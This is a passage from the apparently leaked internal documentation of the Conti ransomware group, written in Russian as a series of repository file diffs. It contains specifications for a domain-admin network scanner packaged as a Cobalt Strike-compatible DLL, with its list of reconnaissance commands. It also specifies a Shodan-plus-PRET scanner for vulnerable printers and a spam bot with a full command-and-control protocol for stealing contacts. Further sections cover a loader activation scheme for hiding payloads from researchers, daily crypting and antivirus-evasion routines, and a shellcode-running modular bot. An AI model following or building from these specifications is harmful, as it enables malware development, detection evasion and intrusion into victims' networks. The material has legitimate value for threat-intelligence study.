url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
...
(одна или множество записей)
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/sql/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/sql/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).

76
Conti Documentation Leak/docs/modules/ТЗ сканер локальной сети.txt

@ -0,0 +1,76 @@
СКАНЕР ЛОКАЛЬНОЙ СЕТИ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
Написать сканер, получающий системную информацию о компьютерах в локальной сети.
Условия и требования:
1. В качестве входный данных задаются имя/пароль доменного администратора.
2. Требуемый список информации в приложении 1.
3. Минимизируется общее число сетевых запросов, насколько это возможно.
4. Если есть возможность минимизировать/сжать/зашифровать сетевой трафик - делаем.
Зависит от отвечающих на наши запросы служб и сервисов самой Windows.
5. Архитектурно, сканер - это одна программа. В том смысле, что у нее нету ответной части/стейджеров/агентов,
которые необходимо было бы закинуть по сети и запустить, перед выполнением сканирования.
То есть программа дергает только штатные службы Windows на удаленных хостах и полностью на них полагается.
6. Язык реализации - C++ или C#.
Скрипты PowerShell/.bat попадают целыми кусками в системный журнал Windows, потому исполнение в виде скрипта не подходит.
7. Оформление в виде .dll 32/64 бит, согласно документу "Оформление кода и сборок".
Точка входа совместима с нагрузками Cobalt Strike.
Размер .dll до 1 мегабайта.
Должна быть возможность передать параметры запуска в .dll.
8. Предусмотреть работу в много потоков, и приоритеты сканирования.
Оптимизировать под сканирование сетей от 1к узлов.
ПРИЛОЖЕНИЕ 1
Список получаемой информации (команды)
systeminfo
"---//---"
tasklist /v
"---//---"
ipconfig /all
"---//---"
netstat -abno
"---//---"
$Apps = @()
$Apps += Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"
$Apps += Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"
foreach($a in $Apps) {$a}
"---//---"
net share
"---//---"
net sessions
"---//---"
Get-WmiObject -Class Win32_logicaldisk
"---//---"
gci -force "C:\users\*" -ErrorAction SilentlyContinue
gci -force "C:\users\*\*" -ErrorAction SilentlyContinue | % {
$size = [math]::Round($_.Length/ 1Mb,2).ToString() + " MB"
$lastTime = $_.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss')
$file = $_.FullName
$out = "[$lastTime] {$size}`t $file"
$out
}
"---//---"
gci -force "C:\program files\*" -ErrorAction SilentlyContinue
gci -force "C:\program files (x86)\*" -ErrorAction SilentlyContinue
"---//---"
get-date
"---//---"
netsh advfirewall firewall show rule name=all
Из первой команды systeminfo нужны только следующие поля:
Name: Microsoft Windows Server 2012 R2 Standard|C:\Windows|\Device\Harddisk0\Partition2
BuildNumber: 9600
CountryCode: 1
CSName: DC
Version: 6.3.9600
WindowsDirectory: C:\Windows
OSArchitecture: 64-bit
Organization:
Manufacturer: Microsoft Corporation
Locale: 0409
LocalDateTime: 2021-04-27 16:18:32
InstallDate: 2020-08-23 23:40:03
LastBootUpTime: 2021-04-23 21:23:39
SerialNumber: 00252-70000-00000-AA072
RegisteredUser: Windows User

33
Conti Documentation Leak/docs/modules/ТЗ сканер принтеров.txt

@ -0,0 +1,33 @@
СКАНЕР УЯЗВИМОСТЕЙ ПРИНТЕРОВ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Нужен сканер уязвимых принтеров, открытых для доступа из Интернета.
Результат работы сканера - список адресов, где есть принтер с подтвержденной уязвимостью.
АЛГОРИТМ
Сканер объединяет два публичных сервиса: https://shodan.io и Printer Exploitation Toolkit https://github.com/RUB-NDS/PRET
- На shodan.io делаем поиск, к примеру, по слову PJL
- результаты парсим и скармливаем скрипту PRET
- если скрипт PRET смог присоединиться к принтеру, выполняем последовательно команды
id
pwd
ls
df
и записываем саму команду и ее результат в лог
- переходим к следующему результату поиска.
Примечание: для доступа к shodan.io нужна учетка. Но по идее это безопасно даже при реализации как модуль к боту.
Можно предварительно выкачивать нужные данные в формате .csv и загружать их отдельно в боты через конфиги.
Экспорт результатов поиска в .csv/.json с shodan.io - платная услуга.
РЕАЛИЗАЦИЯ
Есть два варианта реализации:
* как автономный сканер.
+ Язык выполнения - любой скриптовый, но не слишком экзотический (python, PowerShell, javascript).
+ Быстро и просто.
* как модуль к боту
+ реализация намного дольше, т.к. нужно переписать PRET на С++
+ зато можно работать распределенно

271
Conti Documentation Leak/docs/modules/ТЗ спамбот.txt

@ -0,0 +1,271 @@
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
СПАМ-БОТ
ЦЕЛЬ
Разработать спам-бота, используещего ресурсы компьютера-хоста для рассылки спама.
РЕЖИМЫ РАБОТЫ
Есть два основных режима:
- сбор контактов: только собираем адреса и контакты из локальных почтовых ящиков и отправляем на сервер
- сбор и рассылка: то же + спамим.
Исходные данные для работы бота - это
- текст письма
- вложения
- список адресов для рассылки
- векторы отправки (списки SMTP-серверов, локальный почтовый клиент)
Первые два пункта (письмо и вложения) бот получает с сервера.
Список рассылки и векторы отправки могут быть как внутренние, так и внешние:
- внутренние - это полученные с локальных ресурсов компьютера
- внешние - задаваемые с сервера.
Дополнительные режимы:
- работа по локально добытому списку рассылки, или по полученному с сервера;
- отправка через локальные почтовые клиенты, или через указанные сервером SMTP-сервера.
РАНДОМИЗАЦИЯ ПИСЕМ
Бот должен поддерживать рандомизацию писем и вложений, путем использования макросов в теле письма и именах вложений.
Макросы представляют из себя:
- словари (выбор случайного слова из словаря);
- генерация случайного числа;
- генерация случайной строки.
(Мысли вслух) есть два пути:
- рандомизация на сервере: плюсы в упрощении клиента, минусы в увеличении нагрузки на сервер
- рандомизация на клиенте: все наоборот.
ТРЕБОВАНИЯ
- связь с командным сервером для получения письма, вложений, списка адресов на рассылку и списка SMTP-серверов
- оформление в виде статически скомпонованного .exe
- соответствование требованиям в "оформление кода и сборок" по защите от анализа и детектов
- программа не должна делать попытки получить собственный путь
- программа не должна перезапускать себя
- программа должна работать с любыми правами - в том числе с правами СИСТЕМЫ!
- программа должна работать в любой сессии - как интерактивной (>0), так и системной (сессия 0)
Проверять psexec -d -s program.exe
- реализация обмена по HTTP - по умолчанию WinInet/WinHTTP. Однако нужно сделать простые обертки для HTTP-запросов,
чтобы легко и просто заменить реализацию
ЭТАПЫ РАЗРАБОТКИ
1. только сбор адресов с Microsoft Outlook
2. рассылка по собранным на этапе 1 адресам через Microsoft Outlook
3. получение адресов для рассылки с сервера, рассылка через Microsoft Outlook
4. вдобавок, рассылка по списку полученных с сервера SMTP-серверов
5. сбор с веб-почты GMail
6. рассылка через веб-почту GMail
7, 8 + Yahoo Mail
ПРОТОКОЛ
Протокол - обычный HTTPS.
HTTP-сервер ОБЯЗАН предоставлять заголовок Content-Length для каждого ответа.
Тела запросов и ответов должны быть зашифрованы простым XOR, используя URI как гамму (ключ шифрования).
То есть, для тела запроса GET /1/2/sv ключом шифрования будет строка /1/2/sv
-Зачеркнуто-
Связь с командным сервером происходит через домены .bazar (или другой домен Emercoin DNS).
Доменов может быть несколько; для первоначального соединения с сервером домены перебираются случайным образом
до первого успешного ответа. Программист должен исходить из того, что все домены ведут на один и тот же сервер.
После резолва IP-адреса из домена Emercoin, следует сделать пробу ДВУХ адресов:
- непосредственно полученный из DNS-ответа
- преобразовать IP-адрес путем операции XOR 254 для каждого октета. Например,
124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5
Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам.
Код скрипта ipxor.ps1 на PowerShell:
$ip = read-host -prompt "Enter IP";
write-host $ip;
$newip = '';
($ip.split('.') | foreach {
$octet = [byte] ( $_)
$octet = $octet -bxor 254;
$newip = -join($newip,'.',$octet);
}
)
write-host $newip;
-Конец зачеркнутого-
Связь с командным сервером происходит через жестко зашитый список IP-адресов.
Перебором выбирается первый адрес, отвечающий на порт 443 по протоколу HTTPS.
Дальнейшая работа происходит с ним.
При установлении соединения, в случае таймаута или обрыва соединения, следует повторить попытку один раз.
Далее следует перейти к перебору адресов до первого успешного ответа.
-Зачеркнуто-
При отстуке, следует иметь в виду, что обусловленная шифрованием XOR двойственность адресов может привести
случайным совпадениям: вам может ответить сервер, который ни сном ни духом.
-Конец зачеркнутого-
URI запроса имеет вид
/id_mailout/id_bot/request
где
- id_mailout - идентификатор рассылки - uint64_t
- id_bot - идентификатор бота - строка; по умолчанию это GUID в формате CBD27893-F9EB-465C-AAF6-D620ED24C8C9,
но также это может быть произвольная строка с допустимыми символами a-zA-Z0-9_-.
Оба параметра могут быть переданы боту извне, через аргументы командной строки либо переменные окружения.
По умолчанию формат ответа - простой текст с разделителем строк [\r]\n
По умолчанию, любые коды ответа кроме HTTP 200 или HTTP 102 является ошибкой (в том числе коды 204, 30*).
HTTP-код 102 "Processing" означает, что сервер не может дать ответ прямо сейчас, и следует повторить запрос через некоторое время.
В этом случае бот должен делать циклический опрос с интервалом 30 секунд, до получения не-102 кода.
В случае кода ошибки (не 200 и не 102) бот должен повторить попытку пять раз с интервалом в 5 секунд, до первого успеха.
При отсутствии успеха бот фиксирует ошибку и завершает работу.
При невозможности отпарсить и интерпретировать существенные поля из ответа сервера, бот фиксирует ошибку и завершает работу.
1. Дай параметры: интервал между письмами, тип списка рассылки, тип отправки, число вложений, контрольный ящик
GET /<idm>/<idb>/st
Ответ:
<interval>[\r]\n // число секунд между отправкой двух последовательных писем. 0 означает нету интервала. По умолчанию 0.
<mailout_type>[\r]\n // битовая маска: 1 - все адреса с локального десктоп-клиента;
// 2 - все адреса с локальных учеток веб-почты;
// 4 - получить список рассылки с сервера;
// остальные значения (биты) - ошибка
<send_type>[\r]\n // битовая маска: 1 - отправка через десктопный локальный почтовый клиент;
// 2 - отправка через локальные учетки веб-почты;
// 4 - отправка через полученный с сервера список SMTP-серверов
// не выставлен ни один бит - только сбор контактов
// остальные значения (биты) - ошибка
<attach_num>[\r]\n // число вложений для письма: от 0 до 10 (другие значения - ошибка)
<rcpt_every>[\r]\n // одно письмо на указанное число получателей; дополнительные получатели указываются в Bcc:
<random_every>[\r]\n // рандомизировать каждое Н-е письмо
<control_mailbox>[\r]\n // контрольный почтовый ящик
<validate_emails>[\r]\n // нужно ли валидировать email-адреса после сбора: 0 - нет, 1 - да
2. дай тему
GET /<idm>/<idb>/sb/<number>
В ответ - тема письма, по одной на строку (можно получить сразу множество тем).
<number> - запрашиваемое число тем.
В этом запросе и в запросе №3, параметр <number> используется для минимизации числа запросов к серверу.
Чтобы, к примеру, получить 1000 писем за один раз.
3. дай письмо
GET /<idm>/<idb>/m/<number>
<number> - запрашиваемое число писем.
В ответ - текст письма в том виде, как оно должно быть отправлено.
Здесь возможно уточнение - т.к. письмо может быть в multipart-контейнере.
Если все почтовые клиенты позволяют задать письмо в сыром виде (со всеми разделителями контейнеров итд),
то в ответ на этот запрос мы получаем полностью сверстанное сырое тело.
В противном случае, нужны подзапросы для получения всех частей multipart-письма.
4. дай вложение №
GET /<idm>/<idb>/a/<№>
Здесь № - номер вложения от 1 до 10.
Ответ должен содержать заголовок Content-Disposition, однозначно определяющий имя и MIME-тип вложения.
Отсутствие этого заголовка является ошибкой.
Содержимое ответа интерпретируется по HTTP-заголовкам ответа (контейнер, заголовки сжатия итд).
5. дай список рассылки
GET /<idm>/<idb>/l
В ответе содержится простое перечисление email-адресов, на которые следует отправить письмо.
Один адрес на строку.
6. дай сервера отправки
GET /<idm>/<idb>/sv
В ответе содержится простое перечисление SMTP-серверов, через которые следует отправить письмо, по одному на строку.
Формат строки:
[<proto>:]<IP-address>:<port>:<user>:<password>[:field=value[:field=value...]]
Содержимое поля proto указывает на необходимость работы поверх SSL-канала.
Уточнить.
Параметры field=value предназначены для отправки дополнительных полей, например, DNS-записей, RSA-ключей, селекторов итд.
Число и назначение полей интерпретируется конкретной реализацией сервера и бота.
7. возьми контакты
POST /<idm>/<idb>/c
Содержимое тела запроса - простой текст (БЕЗ КОНТЕЙНЕРА multipart или form-urlencoded!)
по одной записи контакта на строку, в кодировке UTF-8.
Запись контакта имеет следующий формат:
field=value;field=value;...;field=value\r\n
Все значения value в кодировке urlencoded.
Для field поддерживаются следующие значения:
email
firstname
midname
lastname
country
state
city
zip
street
phone
url
Любые неизвестные значения подлежат сохранению сервером в БД! Для этого должен быть предусмотрен механизм,
позволяющий сохранить расширенные поля контакта.
При этом нужно исключить отказы в обслуживании за счет отправки гиганстких запросов.
Если объем отправки превышает порог (задается константой компиляции), бот обязан раздробить отправку
на соответствующее число запросов. По умолчанию предел запроса - 2М.
8. возьми информацию
POST /<idm>/<idb>/info
Содержимое тела запроса - простой текст (БЕЗ КОНТЕЙНЕРА multipart или form-urlencoded!)
следующего вида:
os: <название и версия ОС>
arch: <архитектура машины x86/x64>
hostname: <имя компьютера>
username: <имя пользователя>
domain: <домен или рабочая группа>
tz: <временнАя зона>
locale: <локаль>
ip: <внешний IP-адрес>
client: <название и версия локального почтового клиента, если найден. Таких строк может быть много>
webmail: <URL и учетка почтового клиента, если найден. Таких строк может быть много>
me: <email и контакты локальной почтовой учетной записи. Таких строк может быть много>
Бот может отправлять больше информации в формате поле:значение - этот запрос может подлежать расширению.
Реализация сервера должна учитывать это и быть готовой сохранить неизвестные данные.
9. возьми статистику
POST /<idm>/<idb>/info
Содержимое тела запроса - простой текст (БЕЗ КОНТЕЙНЕРА multipart или form-urlencoded!)
следующего вида:
sent: <всего писем отправлено, штук>
addresses: <всего адресатов>
Таких запросов бот может отправить множество в течение одной сессии работы, для отражения прогресса рассылки.
Сервер ориентируется на последний полученный от бота запрос.
АЛГОРИТМ РАБОТЫ
Принципы установки связи с сервером отражены в разделе ПРОТОКОЛ.
После старта бот должен:
1. установить связь с сервером - найти живой домен, дать запрос GET / HTTP/1.1 и убедиться в том,
что код ответа 200.
2. собрать информацию о системе и отправить ее на сервер. По ответу сервера убедиться,
что это "наш" сервер, иначе завершить работу.
3. запросить с сервера режимы работы
4. если указано в режимах, собрать адреса с локальных почтовых клиентов, провалидировать их и отправить на сервер.
5. если указано в режимах, произвести рассылку писем.
5.1. при рассылке, отражать прогресс путем периодической отправки статистики (раз в 1000 адресов или 1 минуту, что наступит раньше)
6. самоудалиться с диска (если указано в опциях сборки).
ДОПОЛНИТЕЛЬНО
Имеется готовый исходный код для:
- сбора адресов и отправки писем через Microsoft Outlook
- сбора адресов и отправки писем через Gmail и Yahoo! Mail

63
Conti Documentation Leak/docs/modules/бк активация.txt

@ -0,0 +1,63 @@
Цели доработки:
1. Надежно отсечь АВ и исследователей от получения нагрузки
2. Убрать поведенческие детекты за счет взаимодействия с пользователями
Идея доработки в ручной активации каждого бота оператором.
Реализация
0. В настройки группы добавляется переключатель "Manual payload confirmation".
Если он выключен, все работает как раньше.
Если включен - так как описано ниже.
Переключатель принадлежит ядру, т.е. он общий для любых протоколов.
В сборку лоадера/бота добавляется соответствующий макрос-переключатель.
1. Показывать лоадеры, которым еще не отдана нагрузка, в списке ботов в админке.
В поле идентификатора показывать ключ, переданный лоадером в админку (см.ниже).
2. Добавить кнопку "разрешить отдачу нагрузки" - по-английски "Confirm payload" (можно использовать иконки).
Без нажатия этой кнопки оператором нагрузка лоадеру не отдается.
3. Добавить кнопку "Deny payload". По нажатию этой кнопки IP-адрес летит в список ханипотов, нагрузка не отдается.
4. Лоадер должен взаимодействовать с пользователем при запуске - нарисовать окошко, в котором запросить серийный номер.
Длина серийного номера - 8 символов, буквы и цифры (если нету возражений у клиентов и разработчиков по длине и формату).
Класс окна, текст окна должен либо перегенерироваться от сборки к сборке (чтобы не повесили детект на строки),
либо быть максимально неразличимым (такой класс должен быть у кучи служебных окон в ОС).
Значение ключа валидируется по классу символов и длине.
До получения ключа лоадер ничего не делает.
5. Лоадер также должен уметь принять этот ключ из командной строки. В таком случае окно с запросом не выводится.
6. Ключ передается лоадером в поле Cookie в открытом виде, имя куки произвольное.
Соответственно, лоадер:
- для прото2 вновь вводится валидация сервера; сервер шифрует ключом группы либо нагрузку, либо произвольный текст в любом Set-Cookie.
Лоадер считает сервер валидным, если функция расшифровки криптоАПИ выдала корректный статус.
- находит первый прошедший валидацию сервер;
- стучит на него в бесконечном цикле со случайным интервалом от 3 до 15 минут, игнорируя все ответы 400, 404, 500 итд.
Если сервер перестает отвечать (нету коннекта/ответа), уходит в поиск серверов.
Бэкенд:
- на все непонятные запросы нагрузки с НЕИЗВЕСТНЫХ IP-адресов говорит 404 Not Found.
Если по такому адресу уже проживает(ют) бот(ы) не из подсети Honeypots, нагрузка отдается.
- ищет в отстуке Cookie с длиной значения, равной длине ключа (8)
- считает значение этого Cookie идентификатором лоадера, и рисует этот запрос в списке ботов
- после подтверждения оператором и выдачи нагрузки, бэкенд клеит бота с лоадером.
Для этого:
- бот при *первом отстуке* должен прислать md5 ключа в любом Fake Cookie.
Соответственно, лоадер должен передать ключ процессу бота (через командную строку или каким угодно межпроцессным взаимодействием, кроме записи в файл).
- бэкенд ищет лоадер с таким же IP-адресом, у которого хэш ключа совпадает с значением любого Fake Cookie.
Если сопоставление почему-то не происходит, бот считается хани со всеми вытекающими.
- бот при этом не меняет свою текущую схему генерации основного идентификатора.
Передаваемый лоадером ключ используется единоразово в момент первого отстука для валидации прогруза и для сопоставления лоадера и бота.
В момент первых отстуков у нас и так уже фиксируется реальный IP-адрес лоадера/бота.
Мы вводим дополнительную защиту:
- идентификатор бота привязывается к адресу.
Есл прокладка не отдает реальный IP, ответ 404.
Если отстук имеющегося в базе ID с левого IP-адреса - ответ 404.
- хани теперь получают ответ 404 Not found на любые запросы.
Работа операторов
Операторы сами генерируют одноразовый список серийников на каждый прогруз.
Если понадобится, мы поможем написать небольшой скрипт-генератор.
Из этого списка
- dj на телефоне диктует номер и вычеркивает его из списка
- по этому списку оператор админки валидирует все входящие отстуки.

102
Conti Documentation Leak/docs/modules/ежедневные крипты.txt

@ -0,0 +1,102 @@
Регламент ежедневной подготовки криптов
1. Разработчик готовит утренний билд следующим образом:
- версии всех файлов увеличиваются, чтобы они отличались от версий вчерашних файлов
- нужно убедиться в том что прокладки рабочие.
Билд не выдается только если нету живых прокладок совсем. Это считается исключительной ситуацией, ставим всех на уши.
Если сдохла часть прокладок, ставим в известность админов и меня.
- под крипт нужно выдавать и .dll, и .exe. Для крипта лучше .dll, но его не проверить в динамике.
.exe служит и для контрольной проверки на АВ, и на случай проблем с криптованием .dll.
- по возможности делать несколько версий файлов с разными хэш-суммами.
2. Разработчик должен самостоятельно проверить на автотестах утреннюю сборку, дать заключение о её пригодности не позднее чем 11 утра по Мск.
3. Пригодная сборка должна уйти в крипт не позже 12 часов дня.
4. Тестировщик должен узнать у клиента и подготовить для проверки список рабочих имен файлов (под которыми файл будет использоваться),
т.к. на имя может быть АВ детект.
Тестировщик оповещает о списке имен разработчика и криптера, чтобы те проводили свои тесты с использованием этих имен.
4.1. Если оказывается, что на все имена из списка есть АВ детекты, об этом оповещаются все (клиент, разработчик, криптер).
Пока готовится запасной список имен, используются простые ничего не говорящие "временные" имена. Например 1.exe, hello.exe, a.exe итд.
Если подготовка срочная (для кампании), файл так и выдается, с примечанием о важности имени.
5. Криптов каждого билда должно быть подготовлено минимум два. Лучше несколько. С разными хэш-суммами.
6. Не позже 14 часов крипт должен быть готов и передан на тестирование.
6.1. Криптер обязан самостоятельно проверить свой крипт на топовые АВ, в том числе средствами криптопанели.
Крипт с количеством детектов в рантайме > 3 принимается только в экстренных случаях.
В нормальном случае детектов в рантайме на корпоративные АВ быть не должно.
7. Для тестирования, тестировщик:
- подписывает крипт цифровой подписью (если есть)
- заливает файлы в админку, в разделе Groups -> (имя группы), проставляя новый номер версии
- помечает залитые файлы как Staging
- запускает на автотесты
8. При успешном прохождении тестов, тестировщик помечает в разделе Groups -> (имя группы) протестированный комплект файлов как Actual
9. Окончательная проверка подразумевает
- переименование файла в рабочее имя
- заливку файла на сайт
- скачивание его через броузер
- запуск.
Т.к. именно таким является сценарий запуска файла пользователем.
На этой стадии, детект может появиться
- на имя файла
- может не пропустить smartscreen ОС.
10. В случае расхождения результата тестов на АВ - внутреннего и у заказчика, проверять следующие моменты:
- работоспособность автотеста и антивируса на соотв. ВМ (проверяется вручную)
- имя файла
- включена ли облачная защита АВ
- прочие настройки АВ
- версия АВ и базы
11. ВЫДАВАЕМЫЙ КЛИЕНТУ КРИПТ ДОЛЖЕН БЫТЬ ПОКРЫТ ПРУФАМИ:
В папке с криптом должны быть следующие отчеты (только если конкретный тест применялся):
11.1. Подкаталог auto с текстовыми логами автотестов с наших ВМ (копипаста логов)
11.2. Подканалог manual со снимками экрана каждой стадии ручного тестирования:
- окно "О системе" с информацией об ОС
- броузер с вводом ссылки для закачивания
- броузер и окно журнала АВ после закачивания
- окно журнала АВ сразу после запуска файла
- окно журнала АВ через интервал времени
- то же самое, для повторной закачки
- то же самое, при перезагрузке
11.3. Файл dyncheck.txt со ссылками на тестирование на dyncheck
Настройки тестирования на dyncheck:
- время теста - максимальное (240 сек)
- интернет - full access
В случае если крипт возвращается на перечистку, полный отчет не нужен, достаточно отчета, непосредственно отражающего детект.
12. Тестировщик должен еженедельно проверять на dyncheck снятые с работы билды.
Это нужно, чтобы своевременно выявить детекты на отсутствующих у нас антивирусах.
Параметры тестирования:
- статика, лоадер и бот x64
- динамика, только лоадер x64.
Проверку с включенным на тесте интернетом можно делать только утром, когда отстуки из песочниц не помешают боевой работе операторов.
В остальное время проверку на динамике делать только с выключенным на тесте интернетом!
*** ЧаВо ***
В: Каков должен быть комплект, выдаваемый в крипт?
О:
Полный:
лоадер 32 exe
лоадер 32 dll
лоадер 64 exe
лоадер 64 dll
бот 32 exe
бот 32 dll
бот 64 exe
бот 64 dll
Сокращенный: только 64-битные файлы из полного комплекта
В: Зачем готовить и .dll и .exe?
О: Криптер использует тот из файлов, который ему удобнее.
Обычно для криптования удобней .dll, но иногда - .exe
Кроме того, .exe является контрольным образцом - на случай, если что-то не заработало, можно запустить .exe и проверить работоспособность функционала.
В: Каков состав комплекта после крипта?
Полный:
лоадер 32 exe
лоадер 64 exe
бот 32 exe
бот 64 exe
Сокращенный: только 64-битные файлы из полного комплекта

117
Conti Documentation Leak/docs/modules/легковесный модульный бот.txt

@ -0,0 +1,117 @@
ЦЕЛЬ
Новый бот является развитием идеи о легковесности.
В предыдущей версии был реализован минимальный набор функций - разные варианты запуска нагрузки, скачивание файла итд.
В новой версии даже эти функции будут вынесены из ядра и будут подгружаться по требованию в виде имплантов.
Таким образом мы попробуем минимизировать поверхность контакта с АВ.
Бот и его протокол является над/под-множеством предыдущих версий, то есть стыкуется с имеющимися и кодовой базой бэкендом бесшовно.
Часть команд протокола не используется, часть команд новые.
АРХИТЕКТУРА
Бот состоит из загрузчика, ядра и имплантов.
Загрузчик является опциональным, может быть можно грузить ядро напрямую ввиду его минимализма.
Функции ядра:
- запрос импланта (команды)
- отправка результата команды
- отправка телеметрии
Функции импланта - все остальное.
Формат импланта - либо двоичный позиционно-независимый код, либо .dll (вероятней всего .dll; станет ясно в процессе разработке).
Ядро вертится в цикле запроса команд, загружает имплант, загружает параметры и нагрузку к нему, запускает, отправляет результаты.
Есть противоречие между устойчивостью бота к сбою и обнаружимостью АВ:
- для устойчивости имплант лучше запускать в отдельном процессе;
- для необнаружимости лучше запускать имплант в своём процессе.
Противоречие снимаем добавлением флага контекста запуска.
Запуск в собственном процессе делается с помощью бесфайлового PE-загрузчика .dll - исходный код есть в сети.
Второй вариант - https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
Для достижения устойчивости к сбою ядро бота должно быть обернуто в SEH/VEH-обработчики исключений.
Запускаемые потоки также должны иметь обработку исключений, позволяющую безопасно завершить и отцепить .dll после исключения.
Окончательная архитектура определится по результатам работы.
ПРОТОКОЛ
Общая канва протокола (цикл запрос-ответ, обработка ошибок, формат ответов итд) совпадает с протоколом версии 1.
Если не оговорено иначе, нагрузка отправляется в виде тела HTTP GET ответа.
Формат команды:
%code% %timeout% [%args%]
где
code - код команды
timeout - таймаут ожидания ответа (0 - запуск команды в фоновом режиме и готовность к запросу следующей команды)
args - аргументы различаются для разных типов команд
0 %timeout% - нет операции. Время - число секунд, на которое должен заснуть бот до следующего отстука на сервер.
117 %timeout% %payload% - запуск импланта в виде shell-кода. Другие параметры отсутствуют. Shell-код запускается в контексте текущего процесса.
Заметим, что отличие от команды 17 только в наличии таймаута. Возможно, эти две команды сольем в одну.
Нагрузка в двоичном виде, является позиционно-независимым двоичным кодом, выполняется ботом как есть, без каких-либо конверсий.
111 %timeout% ?caching? %payload% [%URI% [%args]] - запуск импланта в виде .dll.
caching == 0 разрешается кешировать данный имплант. FIXME а как бот поймет что это за имплант? нужен ид импланта?
== 1 имплант следует немедленно выгрузить после его завершения
URI - ссылка на основную нагрузку импланта.
Если основная нагрузка для данного импланта не используется, и это не последний аргумент команды,
то в качестве значения ставится знак - (минус).
Более подробная трактовка аргументов описана в соответствующем разделе.
?114 %timeout% - сброс кеша имплантов. Все закешированные импланты должны быть выгружены.
Отправка ответов и телеметрия совпадает с протоколом версии 1.
ИНТЕРФЕЙС ЯДРО-ИМПЛАНТ
Основной нюанс в передаче параметров импланту и получению ответа от импланта.
Для этого и ядро, и имплант предоставляют друг другу интерфейс.
Dll должна экспортировать минимум одну функцию со следующим интерфейсом:
DWORD WINAPI EntryPoint(
TELEMETRY_PROC lpTelemetryProc,
LPVOID payload,
SIZE_T paylen,
LPVOID args,
SIZE_T arglen
)
TELEMETRY_PROC определена так:
VOID WINAPI send_telemetry(CONST LPVOID message, SIZE_T len)
и является callback'ом для отправки телеметрии в админку.
Если оба аргумента функции send_telemetry являются нулями, это является сигналом от импланта к родителю о необходимости его выгрузки.
payload, paylen - нагрузка для импланта. Нагрузка скачивается ботом из %URI% (команда 111) и расшифровывается приватным ключом перед передачей в имплант.
FIXME тут вопрос как лучше - упростить бота и дать импланту самостоятельно возиться со своей нагрузкой? или подготовить это для него, раз уж для этого все есть.
args, arglen - указатель на буфер и его длину с кастомными аргументами импланта.
Имплант самостоятельно парсит и трактует аргументы.
Ядро модифицирует буфер перед передачей его импланту:
- производит замену подстроки %id% на идентификатор бота
- возможны другие макросы
Для этого ядро должно позаботиться о безопасности такой подстановки (реаллокациях буфера, при необходимости)
АДМИНКА
Команды типа "запустить .exe", "запустить скрипт" теперь будут реализованы через импланты.
Потому билдер команд должен конфигурироваться - ранее он был захардкожен, теперь пункты меню и доп.поля к ним будут браться из конфигов/конфигуратора.
Потому нужен конфигуратор команд, либо в виде формы, либо хотя бы в виде конфига.
Команда описывается следующими полями:
- имя команды
- файл с имплантом
- наличие основной нагрузки импланта
- тип основной нагрузки импланта: бинарная/текстовая
- дополнительный параметр 1 (тип поля)
- дополнительный параметр 2 (тип поля)
- ...
Основная нагрузка импланта - это запускаемый командами выполнения 10-13 файл.
Дополнительные параметры - это (в основном) командная строка для команд 10-13.

98
Conti Documentation Leak/docs/modules/план тестирования бк.txt

@ -0,0 +1,98 @@
ПЛАН ТЕСТИРОВАНИЯ БК ПЕРЕД ВЫДАЧЕЙ
1. Определяем боевую группу, которую мы будем распространять.
Боевые группы имеют численное написание (1, 2, 3 итд) и предназначены только для боевого применения.
Тестовые группы имеют символьное написание (one, two итд) и предназначены для целей разработки, тестирования нового функционала, поиска ошибок, стабилизации кода итд.
2. Запрашиваем у кодера комплект софта боевых групп.
Всего должно быть 8 бинарей - 4 с логами и 4 без:
- по 2 бинарника для лоадера, 32/64
- по 2 бинарника для бота, 32/64
3. Те что с логами откладываем в сторону.
Они необходимы на случай, если обнаружится ошибка в функционале - тогда по этим бинарникам разработчику будет легче локализовать проблему.
4. Криптуем оба лоадера без логов
5. Подписываем оба лоадера и оба бота без логов
6. Заливаем в админку (в нужную группу!) подготовленные бинарники
6.1. Боевые версии софта (для боевых групп) в админку заливает только тестировщик!
6.2. При заливе файлов нужно для каждого бинарника прописать новый номер версии.
Номер версии должен быть указан разработчиком при выдаче.
7. На каждом АВ проводим дымный тест
7.0. не должно быть файлов логов!
лоадер: %HOMEPATH%\Desktop\dl2.log
бот: %HOMEPATH%\Desktop\bd2.log
лоадер: c:\temp\ld.log
бот: c:\temp\bd.log
Если файлы есть, значит мы тестируем версию с логами и ее выдавать нельзя!
7.1. нету детекта
7.2. бот отстучал
7.3. проходит команда System Info
7.4. если есть время, тестируем все команды. Если нету времени, ограничиваемся 7.3.
ПЛАН ТЕСТИРОВАНИЯ ОБЩИЙ
Проверяем всю систему в комплексе - резидентный загрузчик, бэкдор, админку.
В настройках антивируса нужно отключить отправку образцов и облачную защиту, во всяком случае на первых порах, дабы не слились образцы.
0. Получаем от разработчика комплект лоадеров - логированная и нелогированная версии, x86 и x64.
Сначала проверяем логированную версию, потом нелогированную. Проверяем на находящихся в сети виртуальных машинах.
Так делаем затем, чтобы на любую ошибку можно было показать лог и позвать разработчика на машину.
Если при проверке нелогированной версии возникла ошибка, пытаемся повторить ее на логированной.
Если на логированной повторяется, фиксируем лог и зовем разработчика.
Если на логированной НЕ повторяется, фиксируем что баг присутствует только на нелогированной версии.
Обязательное условие успеха теста на любом шаге - на экране целевой машины нет никакой активности (всплывающих окон, сообщений от АВ итд),
